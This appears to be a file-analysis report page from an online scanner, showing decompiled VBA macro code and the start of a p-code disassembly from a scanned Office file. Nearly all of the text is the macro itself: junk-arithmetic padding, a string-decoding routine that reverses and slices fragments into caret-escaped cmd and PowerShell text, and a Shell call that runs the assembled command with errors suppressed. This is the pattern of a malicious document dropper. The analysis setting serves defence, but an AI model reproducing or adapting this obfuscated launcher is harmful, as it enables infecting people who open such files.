zroiaU = HlwQE
FkFuw = 55268
GavqVZ = XaoBIf("qmJz% teDu66", 78921 + 5 - 78921, 78921 + 6 - 78921)
TmvlT = XBNoT + Sgn(21261 - VftLHa - XdmIw + Fix(71136)) - 49902 - CDbl(63858)
XPzVa = LwDLU
StzcFX = ZqtnY
jqznp = 65655
QZbwfC = slHnSQ + Sgn(3509 - QJhXr - bIrBJw + Fix(7301)) - 81819 - CDbl(45968)
JLbti = VbjJT
qlvTG = dJjwZo
QjwWGk = 4540
zzAJnBf = XaoBIf("Xw&&JdDtptTbv=%ROn%PKF", 61470 + 6 - 61470, 61470 + 15 - 61470)
GdHpI = unGri + Sgn(45856 - SGGpp - MORNm + Fix(74616)) - 7634 - CDbl(34597)
YFZYRw = HoiwUj
cErQZ = dqjRUp
oQVCEA = 16194
JDhfPr = jsvTmb + Sgn(51867 - dciofX - ldzJX + Fix(69694)) - 72595 - CDbl(25306)
CiVXZ = aQbnXG
dobJQs = hiWGjS
hFTNw = 60774
akjVFfiN = XaoBIf("GG5uDYLvuzKwwWtSDw% teswq", 28348 + 3 - 28348, 28348 + 18 - 28348)
RIFDYB = ONsAT + Sgn(94201 - IhOTtc - UIPnGX + Fix(85052)) - 19532 - CDbl(15076)
ZaMMj = FrriT
dGPVE = XFtFD
zApPSd = 19134
CWZGOQ = AQKAz + Sgn(84290 - iwNXY - Xszic + Fix(28459)) - 28781 - CDbl(79228)
PCCqh = TswYp
MHmiW = lmHUv
AbJXr = 58083
JHAwcopVB = XaoBIf("4Z6zDVHktIzUqI", 8412 + 4 - 8412, 8412 + 6 - 8412)
BYiAHz = KtODR + Sgn(98777 - rKlNEG - cCLvH + Fix(96864)) - 80751 - CDbl(11548)
wBRZnk = GijPAs
DDvVI = YJnYv
VWFAz = 32142
kaYsm = LPiibM + Sgn(96242 - tKMPT - pnCSI + Fix(51485)) - 98934 - CDbl(37272)
KmQpt = FTfsR
cXHwup = IUrRu
WzYGk = 21619
uEXOjQX = XaoBIf("zvwYMF&&s=%dYwXTbtjKHz", 7702 + 2 - 7702, 7702 + 15 - 7702)
sKXsLW = LorhX + Sgn(5153 - MPuVNl - KjSUWQ + Fix(43574)) - 29934 - CDbl(63874)
uhbmS = OlXlFU
KurdJh = kXaGha
XoGhw = 13628
jrNWzt = zhuJzG + Sgn(40270 - RLzJO - cJOOL + Fix(52018)) - 90851 - CDbl(2888)
wzbaC = qhWuz
PZSIiB = AmSwN
EhwHmS = 84713
UCmAaBKw = XaoBIf("0oK718% tes&&p=%IzcDUZ%", 58123 + 2 - 58123, 58123 + 16 - 58123)
KvMWjS = aiaOOf + Sgn(26257 - wFhZrA - jBOrwh + Fix(84049)) - 49171 - CDbl(69785)
HfEdGm = iHaIri
DqwCBF = AvZPLI
UOiEqm = 13225
ioDlG = PzWpr + Sgn(84575 - DzTtvY - lXlVU + Fix(33803)) - 74682 - CDbl(66257)
rDXIA = EqDUcb
CzffvW = IvNHRd
DhQoO = 63471
fZkthbJHKv = XaoBIf(",6EYZ% tesHKkmr", 99501 + 6 - 99501, 99501 + 8 - 99501)
imUjoH = cqbwzA + Sgn(39305 - qpVPkJ - pPrWlA + Fix(17518)) - 73679 - CDbl(60207)
uGYNK = HPEjEl
TcqRr = TwwVhw
rRVsT = 8391
FbGRjr = ZDlTS + Sgn(7296 - GGJLZ - lkwirw + Fix(55646)) - 96692 - CDbl(58385)
MMZSv = dBYRF
XBDnPE = HSwlME
iXaiO = 4065
awwfjGt = XaoBIf("OFHwV0jbT", 92045 + 7 - 92045, 92045 + 1 - 92045)
dZGtlP = cHmHjD + Sgn(24290 - iDjYNW - PbNNa + Fix(77072)) - 11427 - CDbl(52029)
DDnucz = dozfKJ
dBIjsW = qpXWJf
XpzWjw = 9286
wGojzP = UucCwB + Sgn(12194 - ilvRvS - WIzIJH + Fix(13848)) - 70699 - CDbl(91786)
HkJld = wjfaF
OkQnt = pfVGY
kjlpG = 56324
PUfotfr = XaoBIf("bJnZflhNAniCWB6", 61809 + 6 - 61809, 61809 + 8 - 61809)
JjurR = uBUzhQ + Sgn(85400 - OtNrWO - vQmBLH + Fix(2512)) - 95196 - CDbl(60011)
dBNvb = swqwH
joqjO = nYzjP
OQHpF = 79574
XzwBFr = asiCYT + Sgn(9380 - LwFbAV - FCnEY + Fix(76597)) - 73078 - CDbl(92615)
vvwYQw = dSnFSw
sjaUa = qmiINs
OASzow = 87462
AnoLolZjBwr = XaoBIf("II54E% tes&&r5M6", 87850 + 4 - 87850, 87850 + 8 - 87850)
cWjaO = cJMPr + Sgn(12260 - uXwTLB - JNnLYC + Fix(34720)) - 54530 - CDbl(98620)
RWFCQK = uMcNdV
VlBTdU = duwzOj
BLzAK = 47547
IGonfk = drbMnf + Sgn(71423 - qXMdk - hYwEbr + Fix(79043)) - 27377 - CDbl(35118)
SQSBoG = zClBGV
ZQMkL = wGiVa
qiDsEP = 48173
hIjliW = XaoBIf("rWr@rb% tes&&FTSLuM", 96340 + 2 - 96340, 96340 + 12 - 96340)
tXMjRk = Oawbb + Sgn(4274 - fLfEDw - MlzaFP + Fix(31815)) - 87791 - CDbl(19081)
mhnNBD = Savhfj
zfADsN = Lanhm
ILUHV = 32028
PkSrja = jcoVAs + Sgn(85394 - iqQBaL - fkNGZ + Fix(68827)) - 84152 - CDbl(25637)
cMIFj = XEpSh
rIVYIW = HGHSb
EiicAu = 79291
KGWpWmbSzVS = XaoBIf("oQN0G=%pvMZZRkHwRjvQccKX", 33500 + 5 - 33500, 33500 + 16 - 33500)
itojn = MTLMH + Sgn(56133 - nbriRM - FDUuhH + Fix(59283)) - 68440 - CDbl(86744)
oYscNO = oUMzou
KwXRGm = jhIJbY
Cfjcaj = 46956
IaRri = tNWuJ + Sgn(4830 - NuBXFs - MQqWuC + Fix(96672)) - 69874 - CDbl(91419)
pTCis = XfsoN
pIoBX = QVLYp
zrkvwb = 40047
KpRnBNwh = XaoBIf("mGkwXHVALu6", 67136 + 7 - 67136, 67136 + 2 - 67136)
RFFpz = UqirN + Sgn(7351 - Ebhit - qTaFQd + Fix(35259)) - 70301 - CDbl(2084)
biQTD = jCwBWn
qTLmR = QCNCzi
rAoMhQ = 37433
qvaqpz = MujVc + Sgn(26115 - pVdRn - lwwhkG + Fix(739)) - 25716 - CDbl(32777)
jmosE = otfjM
LFHBh = bmnjkV
swsGiz = 99239
UricEMWmz = XaoBIf("imZGi6&&AIrpBEOTZmu,", 43391 + 4 - 43391, 43391 + 11 - 43391)
oDjnUN = jklHTP + Sgn(75403 - aiZRli - ABSvM + Fix(31831)) - 91907 - CDbl(76144)
hMaWCX = MUzFD
cCiFDR = IhNQW
hVZBL = 71008
APMsQ = SsDjm + Sgn(49560 - oNaFi - OYWBbV + Fix(10876)) - 52633 - CDbl(76195)
vnlsbw = THIiMX
jpAFKq = vrfFui
lXKzi = 87482
iYNzMYHhj = XaoBIf("QOL&&w^o=%XHcBvUknG,Dz", 93490 + 5 - 93490, 93490 + 15 - 93490)
tBjzq = GzVGB + Sgn(2642 - UlUAQz - AvGmh + Fix(39083)) - 58062 - CDbl(65073)
zlidim = THUUbw
YEsut = CKjhb
zutQV = 83544
ZfjVUw = QRjOQ + Sgn(4912 - LHMpU - JTwbRo + Fix(12222)) - 95149 - CDbl(80140)
kPHNhL = PvVFQa
Mkubc = PobUZ
jEDfp = 36779
QENNjYWI = XaoBIf("RLD1KRtjm", 47385 + 3 - 47385, 47385 + 2 - 47385)
XwwIop = Iztzts + Sgn(85654 - OhuiVj - wonoaf + Fix(87379)) - 23772 - CDbl(30181)
mpDbOb = lcASu
ajNGqV = LzusAK
APUPk = 57550
ahBjf = cGwLUL + Sgn(47212 - QHwTuk - QMwTTB + Fix(25811)) - 84424 - CDbl(25046)
NizTR = jdwupA
AaWqU = vLtjSK
EQMdP = 28161
zpnjW = XaoBIf("5LesvmXSoj", 38936 + 7 - 38936, 38936 + 2 - 38936)
zHjYUw = PpwqE + Sgn(30268 - vswLtt - CUwjJ + Fix(92939)) - 87521 - CDbl(37069)
VibOb = tzWVpj
wqOui = XPRWU
unirK = 4732
qdWkb = pKSqk + Sgn(62592 - ivkbw - PnsLkY + Fix(96612)) - 89514 - CDbl(73339)
jNztYz = dmwuj
MFDLMZ = PHFAQi
SlLdOD = 51000
kLIQPocJfGU = XaoBIf("5X0uDw8WjZX% tes&&!%XHcBvUkK", 29562 + 2 - 29562, 29562 + 19 - 29562)
dlnsjt = oAhir + Sgn(60356 - hMlUC - ZIwcq + Fix(98277)) - 67400 - CDbl(84033)
TfdVac = YUtpI
FSiqT = EwruA
MUmKB = 64445
MFuFmunusCfX = zpnjW + ffDVCSB + KGWpWmbSzVS + kbiOB + mJZKNQio + UCmAaBKw + JHAwcopVB + iYNzMYHhj + QDOPGoPHf + KpRnBNwh + TYPNPTuY + hIjliW + PUfotfr + VKSYbDwl + tRfHwFlXXrJ + zarQRsdiDr + hBPoLEES + JsTocIPK + jtEDvUBkzlL + ucEEGDJ + UricEMWmz + fZkthbJHKv + RLrupu + AnoLolZjBwr + uXmJJaBdwVb + awwfjGt + EHltDqnujjw + kLIQPocJfGU + uEXOjQX + akjVFfiN + zzAJnBf + MzWtjAjL + GavqVZ + HiNbCQjXA + AkPuVpGm + QENNjYWI + anjEpbRL + ZfXKb + qiqrCHKqFcJ + cTWUwAD + XmrVn + XmUuJjX + fhALK + sjjkHjmaXCz + XhiYj + PXKKm + kUIRkX
PMjCF = EiPnQ + Sgn(52276 - MGDju - fWndbl + Fix(54699)) - 29615 - CDbl(27873)
fOTLf = GYQcUO
pKbSnt = RFPCB
bjEQcH = 80602
zAwBdC = iiPQP + Sgn(1111 - kDSlj - BVfJV + Fix(27374)) - 93545 - CDbl(66213)
RibvH = lzJRq
zqHUl = XcaOsJ
mdVmj = 29130
End Function

Attribute VB_Name = "biRlpUs"
Sub zGITs(BfYpj)
ZFZCmR = VsQKcC + Sgn(69057 - RYVfQl - dUGYQ + Fix(425)) - 70864 - CDbl(95918)
zwfjVI = wXnXK
vfRJkk = CKSzE
FwNBjk = 89227
NfWCH = JWHcO + Sgn(19033 - YaGHPA - tmdhcs + Fix(6282)) - 36042 - CDbl(71431)
HmQPh = uGccwf
qjuij = HtRkD
aBpaP = 9889
End Sub
Sub ZYEcdkRU(XZjHKjtbTXwYd As String)
On Error Resume Next
llVcti = aMBmYu + Sgn(27570 - nwhKWw - cpCMpH + Fix(96046)) - 10395 - CDbl(60437)
XFtQU = BDqvu
iMJLqO = tEiuHJ
ZjojcG = 41804
AoUTT = jHjBjj + Sgn(22019 - DiQjOm - oLmHo + Fix(64092)) - 39280 - CDbl(27948)
SoXFL = qWuwN
CsYZUj = KTsrjP
ciLfK = 22752
[Shell] ZjuMGiintpPZM + Chr(vbKeyC) + XZjHKjtbTXwYd + TNhTzrEnZwnp + sILOoBDcJdNOEu, htzBd + 0 + htzBd
ZDbKC = IUiMMU + Sgn(78428 - JwYQfq - ibbXIJ + Fix(20199)) - 68442 - CDbl(38623)
szhNW = cmYjn
CbjPpz = owYDrq
AmtRwl = 19432
TWHYm = vdHGrB + Sgn(48082 - qtTKEf - TtpXu + Fix(38563)) - 81236 - CDbl(86525)
lCWuI = HRMBs
RwAoC = vAznh
AzdSBr = 18894
End Sub

Attribute VB_Name = "kBVpfir"
Function mCzCmm(wpisT)
sIzUru = hpPVr + Sgn(75421 - PbKJYJ - Ovpis + Fix(27979)) - 93763 - CDbl(61908)
TzqLrs = Unjiz
ncKzBn = iYTJf
NIqzfL = 1629
vVBcs = EqWoa + Sgn(28806 - IMTtM - Lwvjh + Fix(60571)) - 25626 - CDbl(59446)
inEXz = rHJXIP
oBiiQ = FvWGS
pOAoT = 93398
spLjkD = hRFKV + Sgn(7735 - uJtBwO - ZSIhl + Fix(40438)) - 17831 - CDbl(40753)
SpadXb = StfAio
LkOIvF = nVhiS
DCziG = 24342
mUvaWT = bHTOVl + Sgn(53606 - wWMNQj - UswEEY + Fix(30776)) - 90008 - CDbl(93235)
SNErpo = bXffBT
huHFc = swqGz
bSPIL = 25154
End Function
Function UDYXE(iblsD)
SZpXJ = KSaBV + Sgn(43861 - rmMTMP - SizFJ + Fix(45455)) - 6573 - CDbl(96493)
uGEmGh = lvFrBu
ShBZMV = IZcji
ZkOlNM = 46364
uRjrKJ = XHXTXi + Sgn(63186 - HwqdY - hbDXtD + Fix(3008)) - 63283 - CDbl(38498)
oWQYQR = CLvkRE
LFsMG = WizuMp
TRFZrn = 87799
ASIHqQ = RdBPWm + Sgn(24863 - LoajHF - VLakO + Fix(71204)) - 13002 - CDbl(42020)
iLmKmk = PXiRW
wTuGcu = QGmYdw
jFBDKH = 16375
LACBbj = JZoAd + Sgn(28689 - qHIMl - XZNjpn + Fix(47179)) - 19045 - CDbl(41650)
HOjLHt = aSAFz
kcThZ = tvzWf
mmVMn = 21075
End Function
Function XaoBIf(ByVal nANhlfZnBaJk As String, YtRviYViL, zJpwKVs)
On Error Resume Next
nujmt = zwDht + Sgn(70694 - aMdEW - wubjJ + Fix(85966)) - 7767 - CDbl(96546)
HiOfp = KRDqZ
ZSpNDl = maIRp
MGLLXt = 80504
kwVGTonHwzF = ipVSOu + Mid(QuaNzaYb + StrReverse(nANhlfZnBaJk) + VFHvLuwRZwdw, GjzjZvdUvpqqWf + YtRviYViL + EsHniZqRlut, zJpwKVs) + qEtSRTRouPO
dwRaQ = EoPQM + Sgn(63704 - qTYQOL - fLnQBX + Fix(48496)) - 45863 - CDbl(9113)
oodGJj = PAUqF
ZrMda = sXfEZV
KAYtr = 62388
XaoBIf = XcYDihnQAOq + kwVGTonHwzF + arNYptwYLTIkEk
VHrHcJ = wwTJv + Sgn(87058 - cXRNb - Zzbizt + Fix(14974)) - 46743 - CDbl(8189)
owzpR = IGOoF
QFjwFM = wrWdoS
fIIjC = 93484
dfKzEu = OKzmq + Sgn(58656 - WCBnvp - cRVIX + Fix(86060)) - 55348 - CDbl(99803)
imIDna = ABRPh
XqwnrJ = GwGHj
OopjC = 82795
End Function
Function MVAhb(vjAmdZ)
utfJjB = trifB + Sgn(37425 - MhLUPY - VCqRM + Fix(96017)) - 27848 - CDbl(50023)
KdiJG = JfzAY
UmUfH = iwpRN
HZqos = 44554
ETlYB = KjrYf + Sgn(44512 - AzAPV - EqfbQs + Fix(30056)) - 63115 - CDbl(2673)
dUnazT = jOSMz
raJuzA = YbTGS
YsUfm = 73945
zOEsw = jvRAC + Sgn(48034 - PoBHw - fqHCA + Fix(63938)) - 15085 - CDbl(71126)
JOjjao = cVRzhU
GaRhL = kqNhVG
rLDKp = 62092
mDRVwS = LfpAiL + Sgn(53370 - bjzwo - SBBKT + Fix(43991)) - 67832 - CDbl(32427)
GIBjc = JvisH
LXhmv = qkUKsr
TBPLfv = 10690
End Function
Function LzUfrvdRki()
On Error Resume Next
Nishcw = SoREjl + Sgn(14241 - UXYjsj - vQJIJB + Fix(88117)) - 69422 - CDbl(6839)
CiwooF = rtSjt
LpLYun = ONOOn
XUpvYE = 26313
HUoBUB = ZzCHkv + Sgn(73113 - dokqVJ - YQcKBF + Fix(20788)) - 25763 - CDbl(96041)
lYOmvX = bPJDm
Satjnv = pbijv
ZKAkO = 69516
zbOICuKfL = XaoBIf("0Jratr5      V/     %^c^EYU", 10671 + 3 - 10671, 10671 + 18 - 10671)
OwXXI = QPPFzX + Sgn(74117 - JjHVW - sEKpi + Fix(81858)) - 44739 - CDbl(96552)
afvSh = UDWaFi
aVjJJD = asOrR
JoioS = 20915
cDHqb = dXLsjt + Sgn(34472 - DbSjm - CVARiD + Fix(65122)) - 7599 - CDbl(4080)
nGAwIn = ddNWfX
cSlOS = zLGzRG
pHYOZ = 40752
aLLOpPr = XaoBIf(".j@EQiMcDLcf OmZzturcju dmXnfj", 35301 + 5 - 35301, 35301 + 23 - 35301)
EZtVP = wpCYG + Sgn(43113 - dpQRTl - zbzCi + Fix(2711)) - 71583 - CDbl(76632)
FwzKH = CYPwD
HIhqv = ZzrGu
SSdaqr = 27663
CHKiA = wbiti + Sgn(5352 - MfTCR - FTzMl + Fix(62379)) - 28831 - CDbl(32547)
CpbnwG = CwBHw
vLErz = ppqHLX
sFuZz = 71713
OpWQVRibuW = XaoBIf("kav6           c/   0rQj", 58502 + 5 - 58502, 58502 + 16 - 58502)
DYpSq = TmcVB + Sgn(19447 - jXmHt - UbDLiQ + Fix(30324)) - 86013 - CDbl(26958)
HZDVn = WVmBr
CNVFBG = VSmfP
hzNGB = 52332
WBiVY = CFPizL + Sgn(74761 - zIpITr - wiDFd + Fix(2698)) - 64060 - CDbl(41405)
zUJFG = jSoSzz
AblDOn = XQUHv
WiQuzV = 69306
ciVBOSb = XaoBIf("@mFXNJ^%     %^c^E^p^S^m^oo", 26055 + 2 - 26055, 26055 + 20 - 26055)
lcBhf = YWUAt + Sgn(47733 - ibTam - LojzCJ + Fix(62771)) - 29625 - CDbl(8713)
tUbNs = wjWib
AwUNWZ = DwUKbY
EdzXz = 92115
cqubuJ = rqCqX + Sgn(47258 - rHzTV - dolXS + Fix(23032)) - 21466 - CDbl(72829)
oUFGS = BdrSr
ZjcOk = rcfLns
PoFXJ = 66279
ovTjzOhs = XaoBIf("wj%     &zuXN5jz", 39039 + 8 - 39039, 39039 + 7 - 39039)
SVBikR = FqdGA + Sgn(58804 - DHIJi - TJqdjN + Fix(64486)) - 5147 - CDbl(38859)
GiktzE = udTVlm
FmNYL = wNbwiI
YBXjDl = 90245
ilRKvD = EkEmj + Sgn(18196 - CvCRr - NniMH + Fix(63890)) - 70858 - CDbl(27110)
hKhwo = MdSUaC
oTjqV = fkGZhR
rGFCO = 35934
rAMPuL = XaoBIf("raIcLwVH", 43057 + 5 - 43057, 43057 + 1 - 43057)
zDuEk = WqRjw + Sgn(32430 - IwLcR - riVal + Fix(527)) - 63686 - CDbl(30841)
FYPGHz = lZiGA
oSWdQ = Qsvcl
bWdcI = 8314
dBUcLk = ARCNa + Sgn(98973 - kPFSq - bbMDf + Fix(56563)) - 79044 - CDbl(52743)
GTcdkz = jsZUO
jnXBfY = GRoYT
CpRwh = 92029
MfhkqEO = XaoBIf("%Vvj^p^S^mjkU", 6335 + 4 - 6335, 6335 + 6 - 6335)
NKjlzO = NjNtW + Sgn(91815 - vYfiw - HjoiD + Fix(18702)) - 40404 - CDbl(90664)
OwrYWN = DmEQT
XEvCX = HQmSj
jhVFhn = 87956
FVjlGM = IPbXP + Sgn(66674 - NLAzBN - JZFjq + Fix(90694)) - 17748 - CDbl(35448)
jlOKPs = Bnrhz
uQucw = uwqta
wviCQ = 32784
kQMFikHU = XaoBIf("51WzG40k^o^B", 17347 + 2 - 17347, 17347 + 3 - 17347)
pbulAX = VDzMJj + Sgn(46595 - iooNw - YsqsnD + Fix(36584)) - 93102 - CDbl(57144)
WalHhz = tEVqrw
juivRp = CSzRi
tMUHY = 48955
FMEzNk = YjjUZt + Sgn(85576 - DGDTb - VnUdZ + Fix(95760)) - 79296 - CDbl(1879)
ztJJVG = aBokRi
DiAJl = COHquj
kVomo = 44321
dFwOmP = XaoBIf("o6ar@FFjSSGsLLYGmKpwI", 1345 + 3 - 1345, 1345 + 13 - 1345)
iaPkX = YfBfr + Sgn(70820 - TQvYoD - bimSO + Fix(73177)) - 63872 - CDbl(90036)
NCvuf = cSQmiQ
NczKv = TaPwl
bzozV = 71764
kBCwh = HuSjHI + Sgn(79884 - FSkzia - Llbiq + Fix(91218)) - 89581 - CDbl(15683)
OhUQj = sFOBQr
WprRjv = XJNjwZ
aSquN = 72831
INaWufLinG = XaoBIf("PB%LKQWs ZFsIQVO EtVc%", 41277 + 2 - 41277, 41277 + 13 - 41277)
SZoYz = afkhJ + Sgn(49756 - PmmYM - SkETkT + Fix(13584)) - 58450 - CDbl(33683)
YGDGiD = DtmkO
YjaXDA = fRhOSa
FDEph = 17529
wrUhq = qpMLTR + Sgn(77636 - WHsHj - AaPFE + Fix(5454)) - 43303 - CDbl(51453)
ENudp = rNjBO
NSZmjc = PPTaL
KYbPd = 76657
jczdTT = XaoBIf("VQ^c^mzoV", 84817 + 5 - 84817, 84817 + 3 - 84817)
PYIwY = wJfuIG + Sgn(33842 - nHqSV - OKCkm + Fix(68367)) - 16578 - CDbl(59158)
PzGNrj = KbNvdw
UKUtHX = kzINI
VXLpf = 38739
PzCsa = wzPEZv + Sgn(30093 - hZRpBH - izwzi + Fix(52854)) - 37083 - CDbl(74821)
YPJjU = IcTaZ
VsiRt = ozuziN
lzDsrF = 59123
LzUfrvdRki = aLLOpPr + dFwOmP + INaWufLinG + ovTjzOhs + jczdTT + ciVBOSb + rAMPuL + kQMFikHU + MfhkqEO + zbOICuKfL + OpWQVRibuW
AfKmj = JRpWa + Sgn(64475 - JHQip - fpVYkw + Fix(74735)) - 68374 - CDbl(50900)
jbUuK = MXfJZ
jEdDfo = qnKCIz
iGZpw = 41636
iHJpf = FpzOS + Sgn(4087 - wSzdzw - ipPjBM + Fix(65151)) - 97757 - CDbl(3922)
tcjjjh = iOVBZ
zwkAZ = rSZHQ
prZnT = 69776
End Function
Sub nBUqW(Rluukb, IbPmQM, zKfUU)
Hrpdv = kvmMfG + Sgn(28534 - HQwXp - VQOcmW + Fix(12300)) - 53407 - CDbl(17439)
WAVGna = RzoqAW
kjBHA = NHfotq
NqYpJl = 18055
ikHRhU = YApVuz + Sgn(83925 - VwbbP - VjNwz + Fix(65585)) - 51840 - CDbl(52316)
hOMZFv = qTMiji
YwdVkD = iKtaJE
VkmEzB = 15750
End Sub
Sub hamKb()
HPhjq = pATMqY + Sgn(16007 - ESwvrz - iZdmc + Fix(82954)) - 33278 - CDbl(27767)
jZbha = MuTWFU
aNYtJ = PbqTb
YpDtOq = 45746
QcQwaY = GEcUt + Sgn(334 - zPNji - zbtGA + Fix(89009)) - 2793 - CDbl(9106)
AFjhj = zwcTk
IXOwhn = qojiI
mojKw = 61665
End Sub

' Processing file: /opt/analyzer/scan_staging/e2bb5a34c6cd40929da1bb02ad634957.bin
' ===============================================================================
' Module streams:
' Macros/VBA/zzOBftUo - 5082 bytes
' Line #0:
' 	FuncDefn (Sub COcimN(QaBik))
' Line #1:
' 	Ld Upjiw 
' 	LitDI2 0x73F9 
' 	Ld QqFFY 
' 	Sub 
' 	Ld KuCEK 
' 	Sub 
' 	LitDI2 0x62E7 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI4 0x2BD0 0x0001 
' 	Sub 
' 	LitDI2 0x75EB 
' 	Coerce (Dbl) 
' 	Sub 
' 	St hdnvZs 
' Line #2:
' 	Ld rSiTCQ 
' 	St bPbqw 
' Line #3:
' 	Ld zZUvF 
' 	St NiulX 
' Line #4:
' 	LitDI2 0x2237 
' 	St onajkL 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub DOTHGR(ZYXmW))
' Line #7:
' 	Ld SsGTVH 
' 	LitDI2 0x4A79 
' 	Ld QiwHz 
' 	Sub 
' 	Ld TwKmi 
' 	Sub 
' 	LitDI2 0x2D31 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI2 0x1E50 
' 	Sub 
' 	LitDI4 0xB62F 0x0000 
' 	Coerce (Dbl) 
' 	Sub 
' 	St ohXKZq 
' Line #8:
' 	Ld CZKVb 
' 	St zJjwA 
' Line #9:
' 	Ld IpZiYP 
' 	St KIzlwH 
' Line #10:
' 	LitDI4 0xBA96 0x0000 
' 	St iMXuk 
' Line #11:
' 	Ld OJnlW 
' 	LitDI4 0x55F0 0x0001 
' 	Ld qLBfw 
' 	Sub 
' 	Ld QKYfL 
' 	Sub 
' 	LitDI4 0xF3A0 0x0000 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI4 0xEF55 0x0000 
' 	Sub 
' 	LitDI4 0xAD41 0x0000 
' 	Coerce (Dbl) 
' 	Sub 
' 	St rJKlLJ 
' Line #12:
' 	Ld pznzwt 
' 	St BPlCiT 
' Line #13:
…

Open this report in the interactive analyzer, or submit your own file for analysis.